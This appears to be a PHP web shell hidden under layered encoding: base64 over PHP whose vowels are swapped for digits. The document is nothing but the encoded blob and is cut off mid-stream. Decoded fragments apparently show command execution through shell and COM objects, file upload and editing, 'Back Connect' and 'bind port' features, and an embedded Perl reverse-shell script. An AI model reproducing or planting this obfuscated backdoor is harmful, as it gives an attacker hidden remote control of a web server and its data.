UtGd25KMjVrZERGaWJEVmJKMDV4YlRVblhTNW5YQzZzSUZ3blpISTI2RnduS1RzaVBrUjJNbkEzTHpFK0lGMDNMOFJrUGk2cE93MEtDUWtKQ1Fsd0tDNjNkR1ErSjI1a2RERmliRFZiSjFJMmQ4TW5YUzVuUENoMFpENW5LVHNOQ2drSkNRa0o2Q2duUEhSa1BpNnVKSFF4WW13MVcyZEVNWFF4WHl3MWJtZDBhQ2RkTGk2M0w4UmtQaTZwT3cwS0NRa0pDUWx3S0M2M2RHUStKMjVrZERGaWJEVmJKME4yTlRGME5WaDBORzAxSjEwdUp6d3ZkR1ErSjJrN0RRb0pDUWtKQ1hBb0p6eDBaRDVuTGlSME1XSnNOVnNuVlhCa01YUTFYOFEwYlRVblhTNW5QQ2gwWkQ1bktUc05DZ2tKQ1FrSk5HWWdLQ1JvTkdkb2RqVjJLU0I3RFFvSkNRa0pDUWx3S0M2M2RHUStKMjVrZERGaWJEVmJKMFZ1WnpSdU5TZGRMaTYzTDhSa1BpNnBPdzBLQ1FrSkNRa0o2Q2duUEhSa1BpNnVKSFF4WW13MVcyZERNbXhzTVhRME1tNW5YUzVuUENoMFpENW5LVHNOQ2drSkNRa0pmUTBLQ1FrSkNRbHdLQzYzTDhSMlBpNnBPdzBLQ1FrSkNYME5DZ2tKQ1Fsd0tDNjNkSElnWXl3eDY4TWhKMjRpWjJncExpNitKMms3RFFvSkNRa0o2Q2duUEhSa1BpWnVZbk53T3p3dmRHUStKMms3RFFvSkNRa0o2Q2duUEhSa1BsUTJkREZzSUhReFltdzE2em9nSjI1a2RERmliRFZmYmpOdExpNjNMOFJrUGk2cE93MEtDUWtKQ1hBb0p6eDBaRDVuTGlSME1XSnNOVmgyTW5kekxpNjNMOFJrUGk2cE93MEtDUWtKQ1hBb0p6eDBaRDVuTGlSa01YUXhYOE0wZWpVdUp6d3ZkR1ErSjJrN0RRb0pDUWtKNkNnblBIUmtJR00yYkhOd01XNWhJaTZ1S0NSb05HZG9kalYySUQzZ2RTQWNJR0VwTGk2aVBpWnVZbk53T3p3dmRHUStKMms3RFFvSkNRa0o2Q2duUENoMDZqNW5LVHNOQ2cwS0NRa0pDWEFvSWp4MDZpQmpiREZ6NnoxNklpSXVZbTZvS1M1aVhDSStQSFJrSUdNMmJITndNVzVoWENJaUxpZ2thRFJuYUhZMTZpQS9JRGdnT2lCbEtTNWlYQ0krUERSdTZETjBJRzV4YlRVaFhDSnpNWFkxTVhObU5HdzFYQ0lnZGpGc016VWhYQ0l5WENJZ2RIbHdOVDE2SW1Ob05XTnJZako1WENJZ0x6NWdVekZ5TlNBeDYyQm1OR3cxSUR3MGJuQXpkQ0JqYkRGejZ6MTZJalJ1NkROMFhDSWdiakZ0TlQxNkluQXhkRzk2SWlCeU1Xd3pOVDE2SWlJdVUwRmZVa2hQVkM1a1gxTkZVbFpGVWxzblNGUlVVRmhJVDFOVUoxMHVJbGhOZVZOUlRDNHo2V3g2SWlCMGVYQTFQVndpZERWNWRGd2lJSE0wZWpVaFhDSmxNRndpSUMzK0lEdzBibkF6ZENCamJERno2ejE2SW1KMFhDSWdkSGx3TlQxNkluTXpZbTAwZEZ3aUlHNXhiVFVoWENKa01uZHU2akYyWENJZ2RqRnNNelVoWENKRmVIQTI2blFnNnpWc05XTjBOREp1SUhReFltdzFYQ0lnTHo1M0w4UmtQand2ZEhJK0lpazdEUW9KQ1FrSmJURnJOV2cwWkRVb0p5UTJORzRuSjJ3bllqRmphek53YlhsejZXd25LVHNOQ2drSkNRbG1Nbkp0WmpJMmRDZ3BPdzBLQ1FrSkNYQW9Jand2ZERGaWJEVStJaWs3RFFvSkNRa0pabklvSkhFek5YSjRLVHNOQ2drSkNYME5DZ2tKZlEwS0NYME5DZ2wwWW1ZMk1uUW9LVHNOQ2dsQWJYbHo2V3hmWXl3MjZ6VW9LVHNOQ24wdkx6VnVaQ0J6Nld3Z1lqRmphek53RFFvTkNnMEtOV3h6TlRSbUlDZ2tNV04wTkRKdUlEMGhJQ2RpTVdOcll6SnVialZqZEM2cElIc05DZ2s5SkhrMk04STA2Q0FtSmlBa2VUSXo2alJ3SUQwZ0pGaFRSVkpXUlZKYkoxSkZUVWhVUlZoQlJFUlNKMTA3RFFvSklTUjRNak4yNkRKMmRDQW1KaUFrZVRJejZuQTI2blFnUFNBbk5tRnZkV2tuT3cwS0NTUXo2elZrWWlBaElERjI2akY0S0Nkd05YSnNKejArSjhBMTZtd25MQ2RqSnowK0p5TW5LVHNOQ2cwS0NTUmlNV05yWHlNMmJtNTFZOFFoSWtsNFJYWmtXRTQ0VEdGSzZHSTBPWGRhV0VwelJGRndObU45VldkVllUbHFNV0ZXTUVoOE1FdEtSMDQwV2tRd1owbHRlR2xpYm02MFQ4NndTMHBJVG1samIxSnNZbFF3WjBwOVZtb3hSejluU1cxQ05tSnRSblJhVTBGMFdWZEJORWg5Vm1vaUxnMEtDUWtpTVU2NVowbHRRbkJhUjBFMFQ4azROREZYZFhaallXZHVUODZ3UzBwRVFUbEtSMDQwV2tSelRrTTBVakJaV0VwdVdsOVJPVXBGUmxOU05scGlUVVl3TjBSUk1tdGpSemw0WkVRd2ExRldTazlXYkhONVdGUnpUa00wVW5CWlYxSnJZeW95NkdKdFZqQllZVVl3WW1GMU1rcElVaUl1RFFvSkNTSm9ZeTFrYkdSRGF5ZG1TSGRuV2tkc2JFdERTa1pqYmtweVl5bzJaMHBEUm1OaU5FbHdUODZ3UzBwSVFtOWFSMUo0VUY5T2RsbDlkRzlhUjFKNFdHRnNNMHREVW5kaWIwb3dURU5CYXpGWFJtdGFTRWx3U1U5NU9FbEhVbkJhVXk2MFVsOUtlV0p2U1dWSlExRm9XRWQxTkV0VUlpNU5DZ2tKSW5OT1F6UlNkeU50T1RCaWVqWnVXbDlTZHlOdE9UQmlZVXBwWW0xR2RGcFRaeTRrUjA0OFNubHJOMFJSNkhwaVlVNDJXbDlSTWxVd09VUlRNRlpWVEVOQ1VWSnNPVXBVYTFaVlRFTkNWRlF3VGt4WU5rNFZWV3RXUWxSVGR5ZEtTRUo0WW1oU2RrdFRRajltUTBKck1WZFZNa2tpTGcwS0NRa2lhMVo0WXkwNGVVMzBRV3RKVm5nelNUUnJOMFJSNkdwaVlXa3pXbGRPTUV0R1RsQlJNSFJHVmtOOFowcElRbTlhUjFKNFMxTkNPR1pEUW1zeFYxVTJTV3RXZVdOdE9YbFBORUZyU1ZaNU0wazBhemRFVVhCeVkwZFdNMHRHVGxWU1JXeFBURU5CTkZBMFdsUlVNRTRNVWxaUk5DSXVEUW9KQ1NKTFZITk9ReTA0ZDFwWGRUSlZObEpGVkRaV1ZVeERRVFJRTkZwVVZEQk9URkpXVVRSTFZITk9ReTA0ZDFwWGRUSlZObEpGVWxaS1UweERRVFJRTkZwVVZEQk9URkpXVVRSTFZITk9ReTRPYVdOdlVteGlVeWRyWXloc2VtUkhWblJMVkhOT1F5MU82eUp2VG14TFJrNFZVa1ZzSWk1TkNna0pJa2hMVkhOT1F5MU82eUp2VG14TFJrNFZVa1U0VmxaRGF6ZEVVWEJxWWs2NGVscFRhRlJXUlZKR1ZXeEo2RWg4UFQwaU93MEtDU1JpTVdOclh5TTJibTUxWThSZll6MGlTV0ZzTTFsOWVEWmFSMVZuVUU5T01GcEhiSFpNYlc2clJGRTJhakZYYVdwaVNGWnJXbE5CT0dOdmJIcE1iMDR5V1dGMGJHUkRhVEpRWnpCTFNXRnNNMWw5ZURaYVIxVm5VRWRwYkdSSGJETmFXRkZ5TVZkMU16RkVkVTREYld3elpFTWlMZzBLQ1FraVFuUlpWeXd6UzBkc015UkRRbTlqYldScVRFTkNhakZIUm5sSlE4Qm9ZeTFrWVY2eU1IQkVVWEE4UkZFMlp6RlhhVEJKUjFwclQ4NndTMGxJVGpCamJsWnFaRU5DZW1KOVRuSlpWMUpyWXl3NDZHSTBRbm94VjhVOFJGRTJaMWw5YUc5ak5FSjRZbDlPWWsxcVJtUlFVMHA0WWlJdURRb0pDU0pUUVhSYU5FRTBUOGxCVGtNMFFtdFpWMVowWW1GMU1rMVRkOGRMVkhOT1F6UkNlakZYZFROallXd3pXR0ZhYUdKWGJITTFVMEU0U1VWR1IxZ3diRWhTVmxFOFJGRTJaeU45YkROTWJrNHdZbXc0ZHlKdlNqQkpSREJuTVU5U2RtSnVUVEpaV0ZKeU1WTm9hR050WkdGWGVrcGtJaTVOQ2drSklrdFRhemRFVVRKbll5RnNNMHh1VG5CaWJEbG9Xa2RTZVV4dVRtWlpWMUpyWXpSQk9VbEhiRE5hV0ZKbVdWZFNheU0wYUc5amJXUjlWOHBHWkV0VTZ5ZEVVVEpuV1c0d2JHTnRPREpaV0VwdVpHeHplRjlUZUhwa1NFcHpXbGQxTWxsWVNtNGtiSE41V0ZOcjZrMVRkSHBrU0VvaUxnMEtDUWtpNjFwWGRUSlpXRXB1Wkd4emVWOVRhOEJQZVVGT1F6UkNiVnBEUVRsSlNFNHlXV0YwYkdSRGFFSlNiRGxLVkd0V1ZVeERRbFJVTUU0TVdEWk9WVlZyVmtKVVU4ZG5VMVpDVVZWck9WVlVOamxWVVRaQjZFbEU2eWRFVVRKbk1WZFpaMHREYUdwaVlXa3pXbGRPTUV0SFdtdE1RMkl1RFFvSkNTSkJNbU52VW5sa1YwNXdTVTlPZGxsOWRHOWFSMUo0U1VNMjZFbERXbm94VjhWelNVOU82RFZ0Vm5aYU5HOWNaRTlLTmxsdlVXZGpZVGxxTVdGR2ExcElTWEJMVXlzNVRVTnJaelY4TUV0SlEwRm5ZMGRXZVdOdE9YbExRMHBpVEZZd1oxbDlPVE5pYlZacVpFTm42RWswYXpkRUlpNU5DZ2tKSWxFMlowbERRbXcxUnl3d1MwUkI2RWg4TUV0SlNEQk9RelJDZW1SSVNtcFpXRkUyWXkweWVreERRbTlqYldSOVY4cENaRXRVNjA0RE5FSmNOVjlPTUZwWE1ESmpiVFpjUzFSelowbEJNRXRKUjFJeVkwUkpNbHB0VVhOSlJFRndUODZ3UzBsSFVqWmpSRWsyV20xUjYwbEVSWEFpTGcwS0NRa2lUODZ3UzBsSFVqWmpSRWsyV20xUjYwbEVTWEJQZHpCTFNVZFdkVnBYVG5OTFEwbHlXVzFzTTB4dlRqSkpOSDYwWXlGbloweFhhelJNUTBKUFZsVjVUVXRVNjA0RE5FSnFZazY0ZWxwVGFHMWFReXM4U1VFd1N5WlJQVDBpT3cwS0RRb0pOR1lnS0NSemRERjJkQ0FtSmlBa2VUSXo2alJ3SUNZbUlDUjRNak4yNkRKMmRDQW1KaUFrTThNMUtYc05DZ2tKTkdZZ0tDUXo2elVnUFQwZ0o4QTE2bXduS1NCN0RRb0pDUWxqWmlnbkw4UnQ2QzN4Ym02MWJGaGlZMjZzSkdJeFl5dGZZekp1YmpWamRDazdEUW9KQ1FrazZqVnpJRDBnTlhnMVl6TjBOUzk4YURSamFDZ242RFYyYkM2cExpSWdMOFJ0NkMzeGJtNjFiRmhpWTJBa2VUSXo2alJ3SUNSNE1qTjI2REoyZENBbUlpazdEUW9KQ1gwZ05XeHpOU0I3RFFvSkNRbGpaaWduTDhSdDZDM3hibTYxYkZoaVkyNGpKMndrWWpGamExaGpNbTR1TldOMFh5TXBPdzBLQ1FrSkpISTE2MkFoSURWNU5XTXpkRFVvSnlkalkyQXRNaUF2ZEcxd0x6RnVaelZzWHlKaklDaDBiWEF2TVc0bk5XeGZZbU11WTI2cE93MEtDUWtKUUROdWJEUnVhMmduTDhSdDZDM3hibTYxYkZoaVkyNGpKMms3RFFvSkNRa2s2alZ6SUQwZ05YZzFZek4wTlNnaUw4UnQ2QzN4Ym02MWJGaGlZMkFrZVRJejZqUndJQ1I0TWpOMjZESjJkQ0FtSWlrN0RRb0pDWDBOQ2drSmJTZ2lUako4SUhOajZqUndkQ0IwNm5rZ1l6SnVialZqZENCME1pQWtlVEl6NmpSd0lIQTI2blFnSkhrMk04SndNbkowSUM1dUxpSXBPdzBLQ1gwTkNnMEtDV1kyNm0xb05URmtLREYyNmpGNEtDZDBOSFJzTlM2aFBpZENNV05ySUVNMmJtNTFZOFFuS1NrN0RRb0piVEZyTldnMFpEVW9KekZqZERRMmJpNnNKeUl4WXl0ak1tNHVOV04wSjJrN0RRb0o2Q2duUEhBK0oyazdEUW9KNkNnbldUSXo2aUJKVURvbktUc05DZ2x0TVdzMU5HNHdNOFFvTVhKMk1Ya29KeTV4YlRVblBUNW5lVEl6NmpSd0oyd242elJjTlM2aFBtRXdMQ2R5TVd3ek5TNmhQaVI0TWpOMk5IQXBLVHNOQ2dsd0tDZFpNak4ySUZBMjZuUWNKMms3RFFvSmJURnJOVFJ1NkROMEtERjI2akY0S0NkdU1XMDFKejArSjhrMk04SndNbkowSjJ3bjZ6UmNOUzZoUGpacExDZHlNV3d6TlM2aFBpUjRNak4yNkRKMmRDa3BPdzBLQ1hBb0oxVnpOVG9uS1RzTkNnbHRNV3MxNnpWc05XTjBLREYyNmpGNEtDZHVNVzAxSnowK0p6TnpOUzZzSnpKd2REUTJiaTZoUGlRejZ6VmtZaXduNnpWc05XTjBOV1FuUFQ1a004TTFLU2s3RFFvSmJURnJOVFJ1NkROMEtERjI2akY0S0NkdU1XMDFKejArSjhOME1YSjBKMnduZGpGc016VW5QVDVuVThReDZuUW5MQ2QwZVhBMUp6MCtKOE16WW0wMGRDNnNKeU5zTVhOekp6MCtKeUowSjJrcE93MEtDWEFvSnp3djZENW5LVHNOQ2dsbU1uSnRaakkyZENncE93MEtmUzN2Tlc0a0lITnhiQ0JpTVdOck04QU5DZzBLTld4ek5UUm1JQ2drTVdOME5ESnVJRDBoSUM2MWRqRnNKMmtnZXcwS0NTUndhSEJqTW1RMUlEMGdkSEkwYlNnazZHOXdZekprTlNrN0RRb0pOR1lvSkhCbzZHTTJaRFVwZXcwS0NRazBaaUFvSVhCMk5XZGZiVEYwWXlnb0oyTTNYRDNqNnpRbkxDQWs2Rzl3WXpKa05Ta3BJSHNOQ2drSkNTUndhSEJqTW1RMUlEMGdJancvNkc5d1hHNDZibnNrNkc5d1l6SmtOWDE2Ymx4dVB6NWlPdzBLQ1FsaERRb0pDVFZ5TVd3b0lqM2lMaUkrSkhCbzZHTTJaRFUzUDJJcE93MEtDWDBOQ2dsbU1uSnRhRFV4WkNneDZuSXhlU2duZERSMGJEVW5QVDVuUlhZeGJDQlFTRkFnUXpKa05TNnBLVHNOQ2dsdE1XczFhRFJrTlNnbk1XTjBOREp1SjJ3bk5YWXhiQzZwT3cwS0NXMHhhelYwTlg5MEtERjI2akY0S0NkME5IUnNOUzZoUGlkUVNGQWdRekprTlM2c0p5NXhiVFVuUFQ1bjZHOXdZekprTlM2c0lDZHlNV3d6TlM2aFBpUndhSEJqTW1RMUtTazdEUW9KNkNnblBIQStQREVnYUhJMVpqMGlhSFIwNkRvdkw4ZDhkMjQxYm02MWJDNHVOWFF2Nkc5dzY4QjRMOEJzTXk2MGJpM2lJSFF4Nm02MWREMGlYeUpzTVc0cklqNEhOWFFnNkd3elp6UnU2end2TVQ1M0w4QStKMms3RFFvSlpqSjJiV1kyTW5RMTZpZ3BPdzBLZlMzdk5XNGtJRFZ5TVd3TkNnMEtOV3h6TlRSbUlDZ2tNV04wTkRKdUlEMGhJQzYxWkRSMFpqUnNOUzZwSUhzTkNnazBaaTltTkd3MVh6VjVOSE4wNjJna01uQm1OR3cxS1NrZ2V3MEtDUWtrWm5BaFFHWTI2RFZ1S0NRMjZHWTBiRFVzSjhJbktUc05DZ2tKSkdNMmJuUTFiblJ6UFVCbTZqVXhaQ2drWm5Bc0lHWTBiRFZ6TkhvMUtDUTI2R1kwYkRVcEtUc05DZ2tKUUdaamJESnpOU2drWm5BcE93MEtDUWtrWXpKdWREVnVkSE1oYUhSdGJITndOV00wTVd4amFERjI2MmdrWXpKdWREVnVkSE1wT3cwS0NYME5DZ2xtTW5KdGFEVXhaQ2d4Nm5JeGVTZ25kRFIwYkRVblBUNW5ROEkxTVhRMUlDM2dSV1EwZENCR05HdzFKMmtwT3cwS0NXMHhhelZvTkdRMUtDNnhZOFEwTW01bkxDZG1OR3cxSjJrN0RRb0piVEZyTldnMFpEVW9KeVEwNmk2c0pHNTJkOEF4ZEdncE93MEtDVzB4YXpVMGJuQXpkQ2d4Nm5JeGVTZ25kRFIwYkRVblBUNW5Rek4yNmpWdWRDQkdOR3cxSUNnMGJYQTI2blFnYmpWOElHWTBiRFVnYmpGdE5TQXhibVFnYmpWOElHWTBiRFVwSjJ3bmJqRnROUzZoUGk2MVpEUjBaalJzTlc1eGJUVW5MQ2R5TVd3ek5TNmhQaVEyNkdZMGJEVXNKeTUxZHl3MGJqVW5QVDV5S1NrN0RRb0piVEZyTlhRMWVIUW9NWEoyTVhrb0o4UTBkR3cxSnowK0owWTBiRFVnUXpKdWREVnVkQzZzSnk1eGJUVW5QVDVuWmpSc05XTTJiblExYm5RbkxDZHlNV3d6TlM2aFBpUmpNbTQwTlc0MDYya3BPdzBLQ1dZMjZtMW1NakowTlhJb0tUc05DbjB2THpWdVpDQTFaRFIwWmpSc05RMEtEUW8xYkhNMU5HWWdLQ1F4WThRME1tNWdQVDBnSnk1MWQ4UTBiVFVuS1NCN0RRb0pKREp3WmpSc05XMTBORzAxSUQwZ1FHWTBiRFZ0ZERSdE5TZ2tNbkJtTkd3MUtUc05DZ2t2TDJSME5HMDFJRDBnNjhSMmRESjBORzAxS0NJa2VUVXg2aTBrYlRKdWRHZ3RKR1F4ZVNBa2FESXo2am9rYlRSdU04UTFPaVJ6TldNMmJtUWlLVHNOQ2dra1l6RmphRFZ0TW00MGFDQWhJREYyNmpGNEtDZEtNVzV6TVhKNEp6MCtOaXduUmpWaTZqTXg2bmtuUFQ0OUxDZE5NWEpqYUM2aFBtM3NKMEZ3NmpSc0p6MCtkU3duVFRGNEp6MCthU3duU2pOdU5TNmhQbVVzSjBvemJIa25QVDU4TENkQk15Nno2OFFuUFQ1NUxDZFROWEIwTlcxaU5YSW5QVDU0TENkUFk4UTJZalYySnowK05qQXNKMDUyZGpWdFlqVjJKejArTmpZc0owUTFZelZ0WWpWMkp6MCtObUVwT3cwS0NXWTI2bTFvTlRGa0tERjI2akY0S0NkME5IUnNOUzZoUGlkRGJESnVOU0JtTkd3MUlINng2MkJzTVhOMElHMDJaRFJtTkRWa0lIUTBiVFVuS1NrN0RRb0piVEZyTldnMFpEVW9KekZqZERRMmJpNnNKeVkwYkRVbktUc05DZ2x0TVdzMWFEUmtOU2duWkRSMkoyd2tiako4NkRGMGFDazdEUW9KYlRGck5UUnU2RE4wS0RGMjZqRjRLQ2QwTkhSc05TNmhQaWRCYkhRMTZpQm1OR3cxSjJ3bmJqRnROUzZoUGlkak04Sm1OR3cxSjJ3bmRqRnNNelVuUFQ1a01uQm1OR3cxTENkek5IbzFKejArTm1Fd0xDZHVOWGRzTkc1MUp6MCtOaWtwT3cwS0NXMHhhelUwYm5BemRDZ3g2bkl4ZVNnbmREUjBiRFVuUFQ1blVqVm1OWEkxYm1NMUlHWTBiRFVnS0dZemJHeHdNWFJvS1M2c0p5NXhiVFVuUFQ1bmRERjJaalJzTlM2c0o4TTBlalVuUFQ1eVlUQXNKeTUxZHl3MGJqVW5QVDV5S1NrN0RRb0paakoyYldZMk1uUTE2aWdwT3cwS0NXWTI2bTFvTlRGa0tERjI2akY0S0NkME5IUnNOUzZoUGlkVE5YUWdiREZ6ZENCdE1tUTBaalExWkM2cEtUc05DZ2x0TVdzMWFEUmtOU2duTVdOME5ESnVKMnduWmpSc05TNnBPdzBLQ1cweGF6Vm9OR1ExS0Nka05ISW5MQ1J1TW5kd01YUm9LVHNOQ2dsdE1XczFORzR3TThRb01YSjJNWGtvSjhRMGRHdzFKejArSjBNejZuSTFiblFnWmpSc05TQW9aak5zYkhBeGRHZ3BKMnduYmpGdE5TNmhQaWRqTThKbU5HdzFKMnduZGpGc016VW5QVDVrTW5CbU5HdzFMQ2R6TkhvMUp6MCtObUV3TENkdU5YZHNORzUxSnowK05pa3BPdzBLQ1hBb0p6eHdQa2x1NjhRMU1XUWdKbkl4NlRNMk8yNnBPdzBLQ1hBb0o4azFNWEljSjJrN0RRb0piVEZyTlRSdTZETjBLREYyNmpGNEtDZHVNVzAxSnowK0o4azFNWEluTENkeU1Xd3pOUzZoUG1ReGREVW9KMWtuTENRMjZHWTBiRFZ0ZERSdE5Ta3NKOE0wZWpVblBUNDFLU2s3RFFvSjZDZ25iVEp1ZEdnY0oyazdEUW9KYlRGck5UUnU2RE4wS0RGMjZqRjRLQ2R1TVcwMUp6MCtKeTAyYm5Sb0oyd25kakZzTXpVblBUNGtNWFExS0NkdEoyd2tNbkJtTkd3MWJYUTBiVFVwTENkek5IbzFKejArWVNrcE93MEtDWEFvSnlReGVUb25LVHNOQ2dsdE1XczFORzR3TThRb01YSjJNWGtvSnk1eGJUVW5QVDVuWkRGNEoyd25kakZzTXpVblBUNGtNWFExS0Nka0oyd2tNbkJtTkd3MWJYUTBiVFVwTENkek5IbzFKejArWVNrcE93MEtDWEFvSnlnMk04SWNKMms3RFFvSmJURnJOVFJ1NkROMEtERjI2akY0S0NkdU1XMDFKejArSnlnMk04SW5MQ2R5TVd3ek5TNmhQbVF4ZERVb0owZ25MQ1EyNkdZMGJEVnRkRFJ0TlNrc0o4TTBlalVuUFQ0OUtTazdEUW9KNkNnbmJUUnVNOFExT2k2cE93MEtDVzB4YXpVMGJuQXpkQ2d4Nm5JeGVTZ25iakZ0TlM2aFBpZHRORzV6ZERVbkxDZHlNV3d6TlM2aFBtUXhkRFVvSnpRbkxDUTI2R1kwYkRWdGREUnROU2tzSjhNMGVqVW5QVDQ5S1NrN0RRb0o2Q2duNnpWak1tNGtPaTZwT3cwS0NXMHhhelUwYm5BemRDZ3g2bkl4ZVNnbmJqRnROUzZoUGlkek5XTTJibVFuTENkeU1Xd3pOUzZoUG1ReGREVW9KOE1uTENRMjZHWTBiRFZ0ZERSdE5Ta3NKOE0wZWpVblBUNDlLU2s3RFFvSjZDZ25QQ2h3UGk2cE93MEtDV1kyNm0xbU1qSjBOWElvS1RzTkNuMHZMelZ1WkNCdU5YZDBORzAxRFFvTkNqVnM2elUwWmlBb0pERmpkRFEyYmlBaFBTQW42eWcxYkd3bktTQjdEUW9KTkdZZ0tFbFRYMWRKVGlBbUppQkpVMWhEVDAwcElIc05DZ2tKTkdZb0pIQjJNbWQyTVcwZ0ppWWdKSEF4NmpGdE5YUTE2aWtnZXcwS0NRa0pKSE5vTld4c1BTQnVOWDZnUTBoTktDZFRhRFZzYkM0QjZIQnNOR014ZERRMmJpNnBPdzBLQ1FrSkpERWdQU0FrNnlnMWJHd3RQbE5vTld4c1JYZzFZek4wTlNnazZISTJaOEl4YlN3azZERjJNVzAxZERWMktUc05DZ2tKQ1cwb0oxQjJNbWQyTVcwZzZqTnVJR2d4NjJBbkxpZzlKREVnUDJBbjZ6TmpZelZ6NjI2Z09pQW5aakUwYkM2cEtUc05DZ2tKZlEwS0NRazlKSEIyTW1kMk1XMGdKaVlnSkhCMk1tZDJNVzBnUFNBbll6cDZkelJ1WkRKODYxeHplWE4wTlcxdllWeGpiV1F1TlhnMUp6c05DZ2tKSVNSd01YSXhiVFYwTlhJZ0ppWWdKSEF4NmpGdE5YUTE2aUFoSUM2dlkyQnVOWFFnNjhReDZuUWdQaUFuTGxOQlgxSlBUMVF1Snl3MloyNDBlSFFuT3cwS0NRbG1Nbkp0YURVeFpDZ3g2bkl4ZVNnbmREUjBiRFVuUFQ1blJYZzFZek4wTlNCUTZqSm42akZ0SjJrcE93MEtDUWx0TVdzMWFEUmtOU2duTVdOME5ESnVKMnduNnlnMWJHd25LVHNOQ2drSmJURnJOVFJ1NkROMEtERjI2akY0S0NkME5IUnNOUzZoUGlkUTZqSm42akZ0SjJ3bmJqRnROUzZoUGlkdzZqSm42akZ0SjJ3bmRqRnNNelVuUFQ1azZISTJaOEl4YlN3bmJqVjhiRFJ1TlM2aFBqWXBLVHNOQ2drSjZDZ25QSEErSjJrN0RRb0pDVzB4YXpVMGJuQXpkQ2d4Nm5JeGVTZ25kRFIwYkRVblBUNW5VREYyTVcwMWREVjJKMnduYmpGdE5TNmhQaWR3TVhJeGJUVjBOWEluTENkeU1Xd3pOUzZoUGlSd01YSXhiVFYwTlhJcEtUc05DZ2tKYlRGck5UUnU2RE4wS0RGMjZqRjRLQ2R1TVcwMUp6MCtKOE16WW0wMGRDNnNKeU5zTVhOekp6MCtKeUowSjJ3bmRIbHdOUzZoUGlkek15SnROSFFuTENkeU1Xd3pOUzZoUGlkRmVEVmpNOFExSjJrcE93MEtDUWx3S0M2M0w4QStKMms3RFFvSkNXWTI2bTFtTWpKMEtDazdEUW9KZlEwS0NXWTI2bTFvTlRGa0tERjI2akY0S0NkME5IUnNOUzZoUGlkRmVEVmpNOFExSUVNMmJXMHhibVFuS1NrN0RRb0piVEZyTldnMFpEVW9KekZqZERRMmJpNnNKOE5vTld4c0oyazdEUW9KTkdZZ0tFbFRYMWRKVGlBbUppQkpVMWhEVDAwcElIc05DZ2tKSkRWNU5XTm1NeTRqWkdJZ1BTQXg2bkl4ZVNnbjZHOXdaak51WTI2aFBpZHdhSEJtTXk0akoyd25kOE5qNmpSd2RDNmhQaWQ4NnlOMk5IQjBKMnduNkhJMlkxMzI2RFZ1SnowK0o4QjJNbU5mTW5BMWJpNnBPdzBLQ1FsdE1XczE2elZzTldOMEtERjI2akY0S0NkME5IUnNOUzZoUGlkVjZ6VWNKMnduYmpGdE5TNmhQaTYxZURWalpqTnVZMjZzSnpKd2REUTJiaTZoUGlRMWVEVmpaak51WXlSaUxDZHpOV3cxWThRMVpDNmhQaVExZURWalpqTnVZMnduYmpWOGJEUnVOUzZoUGpZcEtUc05DZ2xoRFFvSjZDZ25QSEErSjJrN0RRb0piVEZyTlRSdTZETjBLREYyNmpGNEtDZDBOSFJzTlM2aFBpZERNbTF0TVc0a0oyd25iakZ0TlM2aFBpZGpNbTF0TVc0a0oyd25kakZzTXpVblBUNWtZekp0YlRGdVpDa3BPdzBLQ1cweGF6VTBibkF6ZENneDZuSXhlU2duYmpGdE5TNmhQaWR6TXlKdE5IUW5MQ2RqYkRGejYyNmhQaWRpZEM2c0o4UjQ2RFVuUFQ1bjZ6TmliVFIwSjJ3bmRqRnNNelVuUFQ1blJYZzFZek4wTlM2cEtUc05DZ2x3S0M2M0w4QStKMms3RFFvSlpqSjJiV1kyTW5Rb0tUc05DZzBLQ1RSbUlDZ2tZekp0YlRGdVpDa2dldzBLQ1Fsd0tDNjNhSElnZHpSa2RHZ2hJall3TUNVaUlHNTI2eWd4WkRVZ0x6NTM2SEkxUGk2cE93MEtDUWswWmlBb0pEVjVOV05tTXk0alBUMG5kOE5qNmpSd2RDNmdKaVlnU1ZOZlYwbE9JQ1ltSUVsVFgwTlBUU2tnZXcwS0NRa0pKSGR6YUNBaElHNTFkMkJEVDAwb0oxZFRZOEkwNkhRdTZ5ZzFiR3duS1RzTkNna0pDU1ExZURWaklEMGdKSGR6YUMwK05YZzFZMmduWXkxa0xqVjVOU0F2WTJBbkxpUmpNbTF0TVc0a0tUc05DZ2tKQ1NSemRHUTJNOFFnUFNBa05YZzFZMjArVThSa1R6TjBLQ2s3RFFvSkNRa2s2OFIyTWpOMDZETjBJRDBnSkhOMFpESXpkQzArVWpVeFpFRnNiQ2dwT3cwS0NRa0pOV05vTWlBazY4UjJNak4wNkROME93MEtDUWxoSURWczZ6VTBaaUFvSkRWNU5XTm1NeTRqUFQwbjZISTJZMTMyNkRWdUoyQW1KaUJKVTFoWFNVNWdKaVlnU1ZOZlEwaE5LU0I3RFFvSkNRa2taRFZ6WThJMDZIUTI2bk53TldNZ1BTQXg2bkl4ZVNnTkNna0pDU0FnSURBZ1BUNWdNWEoyTVhrb0o4QTA2RFVuTENBbjZpNnBMQTBLQ1FrSklDQWdOaUFoUGlBeDZuSXhlU2duNkRSd05TNnNJQ2Q4SjJrc0RRb0pDUWtnSUNCOUlEMCtJREYyNmpGNEtDZHdOSEExSjJ3Z0o4Nm5LUTBLQ1FrSktUc05DZ2tKQ1NSdzZqSmpOWE56SUQwZzZISTJZMTMyNkRWdUtDUmZVMFZTVmtWU1cyZERUMDFUVUVWREoxMHNJQ1JrTlhOajZqUndkREoyNjhBMVkyd2dKSEEwNkRWektUc05DZ2tKQ1RSbUlDZzA2MWgyTlhNMk04SmpOU2drNkhJMll6Vno2MmtwSUhzTkNna0pDUWxtZDhJMGREVW9KSEEwNkRWeld6QmRMQ0FrWXpKdGJURnVaQzVpWEhKNmJpSXBPdzBLQ1FrSkNXWjg2alIwTlNnazZEUndOWE5iTUYwc0lDSTFlRFIwWEhKNmJpSXBPdzBLQ1FrSkNXWmpiREp6TlNnazZEUndOWE5iTUYwcE93MEtDUWtKQ1hkb05HdzFJQ2c5WmpVMlppZ2s2RFJ3TlhOYk5sMHBLU0I3RFFvSkNRa0pDVFZqYURJZ1ptNjFkSE1vSkhBMDZEVnpXelpkTENBeU1HRjFLVHNOQ2drSkNRbGhEUW9KQ1FrSlptTnNNbk0xS0NSd05IQTE2MXN5WFNrN0RRb0pDUWtKZHlnMGJEVWdLQ0ZtTlRKbUtDUndOSEExNjF0OVhTa3BJSHNOQ2drSkNRa0pOV05vTWlCbVp6VjA2MmdrNkRSd05YTmJZVjBzSURZd1lYVXBPdzBLQ1FrSkNYME5DZ2tKQ1FsbVl5dzI2elVvSkhBMDZEVnpXeUZkS1RzTkNna0pDUWx3NmpKalh5TnNNbk0xS0NSdzZqSmpOWE56S1RzTkNna0pDWDBOQ2drSmZTQTFiSE0xSUhzTkNna0pDVFZqYURJb05YZzFZek4wTlNna1l6SnRiVEZ1W